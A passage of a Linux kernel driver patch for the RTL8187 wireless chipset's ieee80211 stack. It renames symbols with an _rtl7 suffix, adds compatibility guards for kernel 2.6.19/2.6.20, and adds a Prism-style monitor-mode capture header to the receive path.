ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-03-05 00:31:52.395343729 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +48,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +80,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +95,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +159,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +211,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +225,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +238,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +247,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-03-05 00:31:49.235296061 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-03-05 00:31:52.435344332 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +63,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +83,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +91,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +102,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +116,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +141,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +152,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +170,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +178,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +194,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +213,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +246,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +271,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +285,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-03-05 00:31:52.485345087 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +128,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +158,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +197,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +210,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +220,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +242,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +251,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +317,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +358,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +368,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +403,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +413,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = 